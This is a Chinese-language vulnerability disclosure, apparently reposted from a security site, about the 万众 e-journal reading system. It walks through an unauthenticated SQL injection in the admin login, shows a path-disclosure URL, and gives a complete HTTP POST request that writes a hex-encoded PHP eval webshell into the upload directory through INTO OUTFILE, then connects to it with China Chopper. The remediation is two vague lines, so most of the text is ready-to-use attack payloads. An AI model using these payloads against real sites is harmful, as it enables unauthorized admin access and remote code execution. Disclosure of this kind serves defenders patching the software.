万众电子期刊在线阅读系统PHP和ASP最新版本通杀SQL注入&PHP版本getshell(无需登录)
万众电子期刊在线阅读系统PHP和ASP最新版本
1、通杀SQL注入
2、PHP版本getshell(无需登录)
3、爆网站路径
1、SQL注入问题,PHP和ASP都通杀!
PHP版本:
后台登录代码,问题出在校验函数处:
对应问题global.fun.php
//登录判断
function function_login() {
session_start();
function_safety();
$username = function_cleanstr($_POST['username']);
$password = md5($_POST['password']);
$code = md5(strtoupper($_POST['code']));
if ($username == '' or $password == '') {
function_alert('用户名和密码不能为空!', 'index.php');
}
if ($code != $_SESSION['code']) {
function_alert('验证码错误!', 'index.php');
}
if (!_query("SELECT * FROM magacms_user WHERE username='$username' AND password='$password' LIMIT 1")) {
function_alert('用户名和密码错误!', 'index.php');
}
$intime = date('Y-m-d H:i:s', time());
$inip = function_getRealIp();
// setcookie('username', md5($username)); //采用cookie记忆登录状态
$_SESSION['username'] = $username; //采用session记忆登录状态
_update("UPDATE magacms_user SET intime='$intime',inip='$inip' WHERE username='$username'");
function_alert('', 'admin_main.php');
}
在获取用户这个参数的时候使用$username = function_cleanstr($_POST['username']);进行了一些简单的过滤,跟踪发现函数function_cleanst只是对参数做了html编码,如下:
//字符串格式化
function function_cleanstr($str) {
$newstr = htmlspecialchars(trim($str)); //删除两侧空格并转码html
return $newstr;
}
htmlspecialchars只会对<>等HTML标签字符进行过滤,因此对于这个username字段构成了注入,直接代入
SELECT * FROM magacms_user WHERE username='$username' AND password='$password' LIMIT 1
SQL查询。
因此对于任意系统,只需知道用户名即可登录系统。。。
登陆成功。。。
执行的SQL:
241 QuerySELECT * FROM magacms_user WHERE username='admin' OR 'A'='A' AND password='0cc175b9c0f1b6a831c399e269772661' LIMIT 1
ASP版本:
代码分析类似跟PHP类似
登录提交:admin' or 'a'='a
登陆成功
2、爆网站路径
直接提交:/admin/includes/upload.inc.php?action=upfile
如图
爆出路径为:
E:\phpStudy\WWW\wwzzs\admin\includes\upload.inc.php
3、PHP版本getshell
POST提交
POST /wwzzs/admin/?action=login HTTP/1.1
Host: localhost:808
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://202.113.76.211:808/wwzzs/admin/
Cookie: PHPSESSID=923954107451195a03f88567d6fa0acc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
username=admin' and 1=2 UNION SELECT 0x3C3F70687020406576616C28245F504F53545B2741275D293B3F3E,2,3,4,5 into outfile 'E:/phpStudy/WWW/wwzzs/upload/bannerpic/t.php'#&password=a&code=A56M
访问:
http://localhost:808/wwzzs/upload/bannerpic/t.php
连接菜刀:
执行的SQL:
249 QuerySELECT * FROM magacms_user WHERE username='admin' and 1=2 UNION SELECT 0x3C3F70687020406576616C28245F504F53545B2741275D293B3F3E,2,3,4,5 into outfile 'E:/phpStudy/WWW/wwzzs/upload/bannerpic/t.php'#' AND password='0cc175b9c0f1b6a831c399e269772661' LIMIT 1
执行完成。
修复方案:
后台登录过滤。。。
文件访问限制。。。
http://www.dengb.com/wzaq/963233.htmlwww.dengb.comtruehttp://www.dengb.com/wzaq/963233.htmlTechArticle万众电子期刊在线阅读系统PHP和ASP最新版本通杀SQL注入amp;PHP版本getshell(无需登录) 万众电子期刊在线阅读系统PHP和ASP最新版本 1、通杀...